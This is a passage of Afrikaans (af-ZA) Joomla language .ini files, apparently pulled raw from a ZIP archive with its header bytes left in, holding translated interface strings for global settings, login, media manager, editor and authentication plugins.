Konfigurasie->Werf).
              Die gebruik van Unicode sal UTF8-aliase maak. Jy kan ook per hand enige klein-letter UTF8-karakters intik, behalwe spasies in onderstrepies. Spasies en sommige verbode karakters sal met koppeltekens vervang word.
              Die verstek transliterasie-proses sal 'n alias in klein letters maak, en spasies met koppeltekens vervang." JFIELD_ALT_COMPONENT_LAYOUT_DESC="Gebruik 'n ander uitleg van die komponent-aansig of oorskryf dit in die templette." JFIELD_ALT_MODULE_LAYOUT_DESC="Gebruik 'n ander uitleg van die module of oorskryf dit in die templette." JFIELD_ALT_PAGE_TITLE_DESC="'n Optionele, alternatiewe bladsy-titel om te stel wat die TITLE-merk in die HTML-kode sal wysig." JFIELD_KEY_REFERENCE_DESC="Gebruik om inligting te stoor aangaande eksterne bronne." PHPMAILER_TLS="Kon nie TLS begin nie" JGLOBAL_CHECK_ALL="Merk Almal" JCONFIG_PERMISSIONS_DESC="Verstek toegangsregte word vir alle inhoud in hierdie komponent gebruik." JHELP_USERS_USER_NOTES="Users_User_Notes" JHELP_MENUS_MENU_ITEM_FINDER_SEARCH="Menus_Menu_Item_Finder_Search" JHELP_USERS_USER_NOTES_EDIT="Users_User_Notes_Edit" JOPTION_SELECT_MAX_LEVELS="- Kies Maksimum Vlakke -" JFIELD_META_DESCRIPTION_DESC="'n Optionele paragraaf was as die bladsy se beskrywing gebruik kan word. Hierdie teks sal oor die algemeen vertoon word in die uitslae van soektog enjins." JFIELD_META_KEYWORDS_DESC="'n Optionele komma-afgesonderde lys van sleutelwoorde en/of frases wat in die HTML afvoer gebruik sal word." JFIELD_PLG_SEARCH_ALL_DESC="Dui aan of gepubliseerde items in die soektog ingesluit moet word" JFIELD_PLG_SEARCH_ARCHIVED_DESC="Dui aan of geargieveerde items in die soektog ingesluit moet word" JGLOBAL_ACTION_PERMISSIONS_DESCRIPTION="Stel die aksi-toegangsregte vir hierdie bate" JWARNING_UNPUBLISH_MUST_SELECT="Jy moet ten minste een item kies om te ont-publiseer." JWARNING_PUBLISH_MUST_SELECT="Jy moet ten minste een item kies om te publiseer" JWARNING_DELETE_MUST_SELECT="Jy moet ten minste een item kies om permanent te skrap." JWARNING_ARCHIVE_MUST_SELECT="Jy moet ten minste een item kies om te argieveer." JWARNING_REMOVE_ROOT_USER="Jy is ingelog deur middel van die nootgeval Wortel Gebruiker instelling in configuration.php.
              Jy moet $root_user van configuration.php verwyder sodra jy weer beheer oor jou stelsel herstel het, om toekomstige sekuriteits-inbrake te vermy.
              Kliek hier om dit outomaties te probeer doen." JHELP_EXTENSIONS_MODULE_MANAGER_SMART_SEARCH="Extensions_Module_Manager_Smart_Search" JHELP_EXTENSIONS_MODULE_MANAGER_ADMIN_MULTILANG="Extensions_Module_Manager_Admin_Multilang" JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES_EDIT="Extensions_Language_Manager_Overrides_Edit" JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES="Extensions_Language_Manager_Overrides" JHELP_COMPONENTS_FINDER_MANAGE_CONTENT_MAPS="Components_Finder_Manage_Content_Maps" JHELP_COMPONENTS_FINDER_MANAGE_INDEXED_CONTENT="Components_Finder_Manage_Indexed_Content" JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS="Components_Finder_Manage_Search_Filters" JHELP_COMPONENTS_FINDER_MANAGE_SEARCH_FILTERS_EDIT="Components_Finder_Manage_Search_Filters_Edit" JHELP_EXTENSIONS_EXTENSION_MANAGER_DATABASE="Extensions_Extension_Manager_Database" JGLOBAL_VIEW_SITE="Besigtig Werf" JGLOBAL_LIST_ALIAS_NOTE="(Alias: %s, Nota: %s)" JGLOBAL_LIST_AUTHOR_DESC="Om die artikel-outeur in die artikellys te vertoon." JGLOBAL_LIST_HITS_DESC="Om die aantal trefslae in die artikellys te vertoon." JGLOBAL_LIST_LAYOUT_OPTIONS="Lys Uitleë" JGLOBAL_NUM_LEADING_ARTICLES_DESC="Aantal leidende artikels om te vertoon in volle-breedte aan die begin van die bladsy." JGLOBAL_SHOW_AUTHOR_DESC="Indien na Vertoon gestel, sal die artikel se Outeurnaam vertoon word. Hierdie is 'n globale instelling maar kan vir Kategorie-, Menu- en Artikel-vlakke gewysig word." JGLOBAL_SHOW_CATEGORY_DESC="Indien na Vertoon gestel is, sal die artikelse kategorie-titel vertoon word." JGLOBAL_SHOW_CATEGORY_TITLE_DESC="Indien na Vertoon gestel is, sal die Kategorie Titel as 'n subopskrif op die bladsy vertoon word. Die subopskrif word gewoonlik binne-in die "H2" etiket vertoon." JGLOBAL_SHOW_CREATE_DATE_DESC="Indien na Vertoon gestel is, sal die Artikel se skeppings-datum en tyd vertoon word. Hierdie is 'n globale instelling maar kan vir Menu- en Artikel-vlakke gewysig word." JGLOBAL_SHOW_HITS_DESC="Indien na Vertoon gestel is, sal die aantal trefsle vir 'n gegewe Artikel vertoon word. Hierdie is 'n globale instelling maar kan vir Kategorie-, Menu- en Artikel-vlakke gewysig word." JGLOBAL_SHOW_MODIFY_DATE_DESC="Indien na Vertoon gestel is, sal die Artikel se laaste wysigings-datum en -tyd vertoon word. Hierdie is 'n globale instelling maar kan vir Kategorie-, Menu- en Artikel-vlakke gewysig word." JGLOBAL_SHOW_ICONS_DESC="Druk en e-pos gebruik Ikone of Teks" JGLOBAL_SHOW_READMORE_DESC="Indien na Vertoon gestel is, sal die Lees verder... Skakel vertoon word as die Hoof teks vir die Artikel bestaan." JGLOBAL_SHOW_READMORE_TITLE_DESC="Indien na Vertoon gestel is, sal die Artikel Titel op die 'Lees verder' knoppie vertoon word." JGLOBAL_SHOW_SUBCATEGORY_CONTENT_DESC="Indien Geen, sal slegs artikels in hierdie kategorie vertoon word. Indien 'n nommer, sal alle artikels van die kategorie en die subkategorië to en met daardie vlak in die blog vertoon word." JGLOBAL_SHOW_TITLE_DESC="Indien na Vertoon gestel is, sal die artikeltitel vertoon word." JGLOBAL_SHOW_UNAUTH_LINKS_DESC="Indien na Ja gestel, sal skakels na geregistreerde inhoud vertoon word, as is jy nie ingelog nie. Jy sal dan moet inlog om toegang tot die volledige item te verkry." JGLOBAL_SHOW_VOTE_DESC="Indien na Vertoon gestel is, sal 'n meningspylings-stelsel vir Artikels ontsper word." JGLOBAL_SUBSLIDER_BLOG_EXTENDED_LABEL="Die opsie hieronder laat jou toe om artikels van subkategorië in die Blog uitleg in te sluit." JGLOBAL_SUBSLIDER_BLOG_LAYOUT_LABEL="Indien 'n veld blanko is, sal globale instellings gebruik word." JGLOBAL_BLOG_LAYOUT_OPTIONS="Blog Uitleg Opsies" JGLOBAL_FILTER_ATTRIBUTES_DESC="Lys additionele eienskappe, en sonder elke eienskap af d.m.v. 'n spasie of komma." JGLOBAL_ERROR_INSUFFICIENT_BATCH_INFORMATION="Onvoldoende inligting om die bondelopdrag uit te voer" JGLOBAL_ARTICLE_COUNT_DESC="Of jy die aantal artikels per kategorie wil vertoon." JGLOBAL_LINKED_TITLES_DESC="Indien na Ja gestel, sal die artikel titel 'n skakel na die artikel wwes." JGLOBAL_FILTER_TAGS_DESC="Lys verdere etikette en hou hulle apart d.m.v. 'n spasie of 'n komma." JACTION_ADMIN_COMPONENT_DESC="Laat gebruikers in die groep toe om die opsies vir hierdie ekstensie te redigeer." JACTION_MANAGE_COMPONENT_DESC="Laat gebruikers in die groep toe om toegang tot die administrasie-koppelvlak vir hierdie ekstensie te verkry." JFIELD_LOGIN_REDIRECT_URL_DESC="Indien 'n URL hier ingetik is, sal gebruikers daarheen herlei word nadat hulle ingelog het. Die URL moet nie 'n ekterne ene wees nie." JFIELD_LOGOUT_REDIRECT_URL_DESC="Indien 'n URL hier ingetik is, sal gebruikers daarheen herlei word nadat hulle uitgelog het. Die URL moet nie 'n ekterne ene wees nie." JGLOBAL_WARNJAVASCRIPT="Waakskuwing! JavaScript moet ontsper wees vir korrekte werking van die Administrateur agterent." ; Moet nog vertaal word.. JFIELD_METADATA_XREFERENCE_DESC="An optional reference used to link to external data sources." JFIELD_XREFERENCE_DESC="An optional field to allow this record to be cross-referenced to an external data system if required." JGLOBAL_ALLOW_COMMENTS_DESC="If Yes, viewers will be able to add and view comments for the article." JGLOBAL_ALLOW_RATINGS_DESC="If Yes, viewers will be able to add and view ratings for the article." JGLOBAL_ARCHIVE_ARTICLES_FIELD_INTROTEXTLIMIT_DESC="Please enter in a numeric character limit value. The introtext will be trimmed to the number of characters you enter." JGLOBAL_BATCH_MOVE_PARENT_NOT_FOUND="Cannot find the destination parent for this move." JGLOBAL_DATE_FORMAT_DESC="Optional format string for showing the date. If left blank, it uses DATE_FORMAT_LC1 from your language file (for example, D M Y for day month year or you can use d-m-y for a short version eg. 10-07-10. See http://www.php.net/manual/en/function.date.php)." JGLOBAL_DISPLAY_SELECT_DESC="Whether to show or hide the Display Select dropdown listbox." JGLOBAL_EMPTY_CATEGORIES_DESC="Whether to show or hide categories that contain no articles and no subcategories." JGLOBAL_FEED_SUMMARY_DESC="If set to Intro Text, only the Intro Text of each article will show in the newsfeed. If set to Full Text, the whole article will show in the newsfeed." JGLOBAL_FIELD_CATEGORIES_DESC_DESC="If you enter some text in this field, it will override the Top Level Category Description, if it has one." JGLOBAL_FIELD_SHOW_BASE_DESCRIPTION_DESC="Show description of the top level category or optionally override with the text from the description field found in menu item. If using Root as top level category, the description field has to be filled." JGLOBAL_FILTER_FIELD_DESC="Whether to show a Filter field for the list of articles. Select Hide to hide the filter field, or select which field you wish to filter on." JGLOBAL_FILTER_GROUPS_DESC="This sets the user groups that you want filters applied to. Other groups will have no filtering performed." JGLOBAL_FILTER_TYPE_DESC="

              Black List allows all tags and attributes except for those in the black list.
              -- Tags for the Default Black List include: 'applet', 'body', 'bgsound', 'base', 'basefont', 'embed', 'frame', 'frameset', 'head', 'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name', 'object', 'script', 'style', 'title', 'xml'
              -- Attributes for the Default Black List include: 'action', 'background', 'codebase', 'dynsrc', 'lowsrc'
              -- You can black list additional tags and attributes by adding to the Filter Tags and Filter Attributes fields, separating each tag or attribute name with a comma.
              -- Custom Black List allows you to override the Default Black List. Add the tags and attributes to be black listed in the Filter Tags and Filter Attributes fields.

              White List allows only the tags listed in the Filter Tags and Filter Attributes fields.

              No HTML removes all HTML tags from the content when it is saved.

              Please note that these settings work regardless of the editor that you are using.
              Even if you are using a WYSIWYG editor, the filtering settings may strip additional tags and attributes prior to saving information in the database.

              " JGLOBAL_LINK_AUTHOR_DESC="If set to Yes, the Name of the article's Author will be linked to its contact page. You must create a contact linked to the author's user record for this to be ineffect. This is a global setting but can be changed at the Category, Menu and Article levels." JGLOBAL_LINK_CATEGORY_DESC="If set to Yes, and if Show Category is set to 'Show', the Category Title will link to a layout showing articles in that Category." JGLOBAL_LINK_PARENT_CATEGORY_DESC="If set to Yes, and if Show Parent is set to 'Show', the Parent Category Title will link to a layout showing articles in that Category." JGLOBAL_SHOW_DATE_DESC="Whether to show a date column in the list of articles. Select Hide to hide the date, or select which date you wish to show." JGLOBAL_SHOW_FEED_LINK_DESC="Show or hide an RSS Feed Link. (A Feed Link will show up as a feed icon in the address bar of most modern browsers)." JGLOBAL_SHOW_INTRO_DESC="If set to Show, the Intro Text of the article will show when you drill down to the article. If set to Hide, only the part of the article after the "Read More" break will show." JGLOBAL_SHOW_NAVIGATION_DESC="If set to Show, shows a navigation link (Next, Previous) between articles." JGLOBAL_SHOW_PARENT_CATEGORY_DESC="If set to Show, the title of the article’s parent category will show." JGLOBAL_SHOW_PUBLISH_DATE_DESC="If set to Show, the date and time an Article was published will be displayed. This is a global setting but can be changed at the Category, Menu and Article levels." JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL="These options are also used when you click
              on one of the category links, on the first page and/or thereafter,
              unless they are changed for a specific menu item." JGLOBAL_START_PUBLISH_AFTER_FINISH="Item begin-publiseer datum moet vóór die eindig-publiseer wees" JPROTECTED="Beskerm" JGLOBAL_FEED_SHOW_READMORE_DESC="Vertoon 'n "Lees Meer" skakel in die nuusafvoere as Intro Teks na Vertoon gestel is." JGLOBAL_FEED_SHOW_READMORE_LABEL="Vertoon "Lees Meer"" PK@y>\%ZZ0language/af-ZA/af-ZA.plg_editors_tinymce.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_editors_tinymce.sys.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_EDITORS_TINYMCE="Redigeerder - TinyMCE" PLG_TINY_XML_DESCRIPTION="TinyMCE is 'n platform-onafhanklike, Web-baseerde JavaScript HTML WYSIWYG Redigeerder." PK@y>\/l*language/af-ZA/af-ZA.plg_system_logout.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_system_logout.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_SYSTEM_LOGOUT="Stelsel - Afteken" PLG_SYSTEM_LOGOUT_REDIRECT="Jy is na die tuis bladsy herlei nadat jy uitgeteken het" PLG_SYSTEM_LOGOUT_XML_DESCRIPTION="Die stelsel uitlog inprop-program maak dat Joomla! die gebruiker na die tuistbladsy heen herlei, indien die gebruiker uitlog terwyl hy op 'n beskermde toegangs-bladsy is." PK@y>\9J2language/af-ZA/af-ZA.plg_editors-xtd_image.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_editors-xtd_image.sys.ini 1703 2012-02-03 11:27:44Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_EDITORS-XTD_IMAGE="Knoppie - Beeld" PLG_IMAGE_XML_DESCRIPTION="Hierdie verskaf 'n knoppie waarmee beelde in 'n artikel gevoeg kan word. Die oplaai en verdere beeld-eienskappe kan in 'n opspringvenster gestel word." PK@y>\7&&"language/af-ZA/af-ZA.mod_login.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.mod_login.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_LOGIN="mod_login" MOD_LOGIN_LOGIN="Teken in" MOD_LOGIN_FIELD_USESECURE_LABEL="Enkripteerde Inteken Vorm" MOD_LOGIN_XML_DESCRIPTION="Hierdie module vertoon 'n gebruikernaam en wagwoord inteken vorm. Dit kan nie ontpubliseer word nie." MOD_LOGIN_LANGUAGE="Taal" MOD_LOGIN_FIELD_USESECURE_DESC="Voer enkripeerde inteken-data in (dit vereis SSL). Moenie hierdie opsie ontsper as Joomla! nie deur die https://-protokol toeganklik kan wees nie." PK@y>\4language/af-ZA/af-ZA.plg_authentication_ldap.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_authentication_ldap.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_AUTHENTICATION_LDAP="Stawing - LDAP" PLG_LDAP_XML_DESCRIPTION="Hanteer Gebruiker-Stawing in 'n LDAP bediener
              Waakskuwing! Jy moet ten minste een stawing inprop-program ontsper, anders verloor jy alle toegang na jou werf." PK@y>\!W77&language/af-ZA/af-ZA.mod_title.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.mod_title.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_TITLE="Titel" MOD_TITLE_LAYOUT_DEFAULT="Verstek" MOD_TITLE_XML_DESCRIPTION="Hierdie Module vertoon die Nutsbalk Komponent Titel" PK@y>\ѥ&language/af-ZA/af-ZA.com_cache.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.com_cache.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_CACHE="Kas Bestuurder" COM_CACHE_XML_DESCRIPTION="Komponent vir kas bestuur" PK@y>\ 40oo&language/af-ZA/af-ZA.mod_login.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.mod_login.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word MOD_LOGIN_LAYOUT_DEFAULT="Verstek" MOD_LOGIN="Inteken vorm" MOD_LOGIN_XML_DESCRIPTION="Hierdie module vertoon 'n gebruikernaam en wagwoord inteken vorm. Dit kan nie ontpubliseer word nie." PK@y>\$$-language/af-ZA/af-ZA.plg_user_profile.sys.ininuW+A; Afrikaanse Vertaling http://www.joomla4africa.org ; $Id: af-ZA.plg_user_profile.sys.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Copyright (C) Afrikaans Translation 2006 - 2012 Joomla4Africa. Alle regte voorbehou. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word PLG_USER_PROFILE="Gebruiker - Profiel" PLG_USER_PROFILE_XML_DESCRIPTION="Gebruiker Profiel Inprop-Program" PK@y>\ #language/af-ZA/af-ZA.com_cpanel.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_cpanel.ini 1691 2012-01-11 23:40:15Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_CPANEL="Beheer Paneel" COM_CPANEL_XML_DESCRIPTION="Beheer Paneel komponent" COM_CPANEL_XML_DESCRIPTION="Beheer Paneel komponent" PK@y>\jgg:language/af-ZA/af-ZA.plg_quickicon_extensionupdate.sys.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_quickicon_extensionupdate.sys.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_EXTENSIONUPDATE="Vinnige Ikoon - Joomla! Ekstensies Opdateer-Kennisgewing" PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION="Toets vir opdateerings van jou geinstalleerde derde-party ekstensies en laat jou weet wanneer jy die Beheerpaneel bladsy besoek" PK@y>\eII6language/af-ZA/af-ZA.plg_quickicon_extensionupdate.ininuW+A; af-ZA Language Translation for Joomla! ; $Id: af-ZA.plg_quickicon_extensionupdate.ini 1710 2012-02-05 14:38:57Z gerrit_hoekstra $ ; Joomla! Project ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 PLG_QUICKICON_EXTENSIONUPDATE_GROUP_LABEL="Groep" PLG_QUICKICON_EXTENSIONUPDATE_GROUP_DESC="Die groep waaraan hierdie inprop-program behoort." PLG_QUICKICON_EXTENSIONUPDATE_ERROR="Onbekende ekstensies
              opdateer status" PLG_QUICKICON_EXTENSIONUPDATE_CHECKING="Toets ekstensies
              opdateer status" PLG_QUICKICON_EXTENSIONUPDATE="Vinnige Ikoon - Joomla! Ekstensies Opdateer-Kenniggewing" PLG_QUICKICON_EXTENSIONUPDATE_UPTODATE="Alle ekstensies is op datum" PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION="Toets vir opdateerings van jou geinstalleerde derde-partei ekstensies en laat jou weet wanneer jy die Beheerpaneel bladsy besoek" PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND="Opdateerings is beskikbaar.
              %s" PK@y>\s "language/af-ZA/af-ZA.com_media.ininuW+A; Afrikaanse Vertaling http://joomlacode.org/gf/project/afrikaans_taal ; $Id: af-ZA.com_media.ini 1788 2012-07-31 22:18:21Z gerrit_hoekstra $ ; Joomla! Projek ; Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved. ; Lisensie http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, sien LICENSE.php ; Let op: Alle ini lêërs moet as UTF-8 gestoor word COM_MEDIA_CLEAR_LIST="Herstel Lys" COM_MEDIA_CONFIGURATION="Media Bestuurder Opsies" COM_MEDIA_CREATE_COMPLETE="Skepping Voltooi: %s" COM_MEDIA_CREATE_FOLDER="Skep Vouer" COM_MEDIA_DELETE_COMPLETE="Skrapping Voltooi: %s" COM_MEDIA_ERROR_BAD_REQUEST="Slegte Versoek / Bad Request" COM_MEDIA_ERROR_FILE_EXISTS="Lêer bestaan alreeds" COM_MEDIA_ALIGN="Gerigdheid" COM_MEDIA_UP="Op" COM_MEDIA_START_UPLOAD="Begin Oplaai" COM_MEDIA_UPLOAD_SUCCESSFUL="Oplaai Suksesvol" COM_MEDIA_UPLOAD="Oplaai" COM_MEDIA_UPLOAD_COMPLETE="Oplaai Voltooi: %s" COM_MEDIA_IMAGE_DESCRIPTION="Beeld Beskrywing" COM_MEDIA_IMAGE_TITLE="%1 - %2" COM_MEDIA_IMAGE_URL="Beeld URL" COM_MEDIA_MEDIA="Media" COM_MEDIA_FOLDER="Vouer" COM_MEDIA_FIELD_MAXIMUM_SIZE_LABEL="Maximum Grootte (in MB)" COM_MEDIA_NOT_SET="Nie gestel nie" COM_MEDIA="Media Bestuurder" COM_MEDIA_FILES="Lêers" COM_MEDIA_FILESIZE="Lêer grootte" COM_MEDIA_UPLOAD_FILE="Laai Lêer op" COM_MEDIA_FILESIZE_BYTES="%s grepe" COM_MEDIA_ERROR_WARNFILETYPE="Hierdie lêer tipe is nie ondersteun nie." COM_MEDIA_UPLOAD_FILES_NOLIMIT="Laai lêërs op (Geen maximum grootte)" COM_MEDIA_FILESIZE_KILOBYTES="%s KB" COM_MEDIA_FILESIZE_MEGABYTES="%s MB" COM_MEDIA_FILESIZE_BYTES="%s grepe" COM_MEDIA_FILESIZE_KILOBYTES="%s KB" COM_MEDIA_FILESIZE_MEGABYTES="%s MB" COM_MEDIA_INSERT_IMAGE="Beeld Invoeg" COM_MEDIA_BROWSE_FILES="Blaai deur lêers" COM_MEDIA_NO_IMAGES_FOUND="Geen beelde gevind nie" COM_MEDIA_XML_DESCRIPTION="Komponent vir die bestuur van werf media" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_LABEL="Onwettige MIME Tipes" COM_MEDIA_FIELD_IGNORED_EXTENSIONS_LABEL="Geïgnoreerde Ekstensies" COM_MEDIA_ERROR_CREATE_NOT_PERMITTED="Skep nie toegelaat nie" COM_MEDIA_FIELD_ENABLE_FLASH_UPLOADER_LABEL="Ontsper Flash oplaaier" COM_MEDIA_FIELD_PATH_IMAGE_FOLDER_LABEL="Gidspad na beeldvouer" COM_MEDIA_UPLOAD_FILES="Lêer Oplaai (Maximum Grootte: %s MB)" COM_MEDIA_ERROR_WARNINVALID_IMG="Nie 'n geldige beeld nie." COM_MEDIA_INVALID_REQUEST="Ongeldige Versoek" COM_MEDIA_ERROR_WARNFILETYPE="Hierdie lêer tipe is nie ondersteun nie." COM_MEDIA_FIELD_LEGAL_EXTENSIONS_LABEL="Wettige Ekstensies (Lêer Tipes)" COM_MEDIA_FIELD_CHECK_MIME_LABEL="Toets MIME Tipes" COM_MEDIA_CURRENT_PROGRESS="Huidig vordering" COM_MEDIA_FIELD_LEGAL_MIME_TYPES_DESC="'n Komma-afgesonder lys van toegelate MIME-tipes vir oplaai" COM_MEDIA_OVERALL_PROGRESS="Algemene Vordering" COM_MEDIA_THUMBNAIL_VIEW="Duimnaelskets Aansig" COM_MEDIA_DETAIL_VIEW="Detaileerde Aansig" COM_MEDIA_FIELD_RESTRICT_UPLOADS_LABEL="Beperkte Oplaaie" COM_MEDIA_ERROR_UNABLE_TO_DELETE=" Kon nie skrap nie: " COM_MEDIA_FIELD_PATH_FILE_FOLDER_LABEL="Gidspad na lêer vouer" COM_MEDIA_ERROR_UPLOAD_INPUT="Gee asseblief 'n lêer aan vir oplaai" COM_MEDIA_ERROR_WARNFILETOOLARGE="Hierdie lêer is te groot om op te laai." COM_MEDIA_CAPTION_DESC="Indien na 'Ja' gestel is, sal die Beeld Titel gebruik word as onderskrif." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_NOT_EMPTY="Kon nie skrap nie: %s. Vouer is nie leeg nie!" COM_MEDIA_ERROR_UNABLE_TO_UPLOAD_FILE="Kon nie lêer oplaai nie." COM_MEDIA_FIELD_IGNORED_EXTENSIONS_DESC="Ignoreerde lêer ekstensies vir MIME tipe toets en beperkte oplaaie" COM_MEDIA_FIELD_ILLEGAL_MIME_TYPES_DESC="'n Komma-afgesonderde lys van onwettige MIME tipes vir oplaai (swartlys)" COM_MEDIA_FIELD_LEGAL_IMAGE_EXTENSIONS_LABEL="Wettige Beeld Ekstensies (Lêer Tipes)" COM_MEDIA_DIRECTORY="Lêergids" COM_MEDIA_DIRECTORY_UP="Lêergids Op" COM_MEDIA_FOLDERS="Vouers" COM_MEDIA_TITLE="Beeld Titel" COM_MEDIA_PIXEL_DIMENSIONS="Pixel Dimensies (B x H)" COM_MEDIA_NAME="Beeld Naam" COM_MEDIA_IMAGE_DIMENSIONS="%1 x %2" COM_MEDIA_INSERT="Voeg Beeld in" COM_MEDIA_CAPTION="Onderskrif" COM_MEDIA_DESCFTPTITLE="FTP Inteken Details" COM_MEDIA_ERROR_UNABLE_TO_CREATE_FOLDER_WARNDIRNAME="Kon nie lêergids skep nie. Lêergids naam mag net alfanumeriese karakters en geen spasies bevat nie." COM_MEDIA_ERROR_WARNIEXSS="Moontlike IE XSS aanval gevind." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FOLDER_WARNDIRNAME="Kon nie skrap nie: %s. Lêergids naam mag net alfanumeriese karakters en geen spasies bevat nie." COM_MEDIA_ERROR_UNABLE_TO_DELETE_FILE_WARNFILENAME="Kon nie skrap nie: %s. Lêer naam mag slegs alfanumeriese karakters en geen spasies bevat nie." COM_MEDIA_ERROR_WARNINVALID_MIME="Onwettige of ongeldige MIME tipe gevind." COM_MEDIA_FIELD_LEGAL_MIME_TYPES_LABEL="Wettige MIME Tipes" COM_MEDIA_ERROR_WARNNOTEMPTY="Nie leeg nie!" COM_MEDIA_ERROR_BEFORE_DELETE_1="Daar is 'n fout voordat die media geskrap kan word: %s" COM_MEDIA_ERROR_BEFORE_DELETE_MORE="Daar is foute voordat media geskrap kan word: %s" COM_MEDIA_ERROR_BEFORE_SAVE_0="Daar is foute voordat media gestoor kan word" COM_MEDIA_ERROR_BEFORE_SAVE_1="Daar is 'n fout voordat die media gestoor kan word: %s" COM_MEDIA_ERROR_BEFORE_SAVE_MORE="Daar is foute voordat media gestoor kan word: %s" COM_MEDIA_ERROR_WARNFILENAME="Lêer-naam mag slegs alfanumeries karakters en geen spasies bevat." COM_MEDIA_ALIGN_DESC="Indien 'Nie Gestel Nie', is die ligging gedefineer deur die klas '.img_caption.none'. Gewoonlik is dit om die beeld in die middel van die bladsy te vertoon." COM_MEDIA_ERROR_BEFORE_DELETE_0="Daar was 'n fout met die skraping van die media" COM_MEDIA_ERROR_WARNNOTADMIN="Opgelaaide lêer is nie 'n beeld-lêer niw en jy is nie 'n 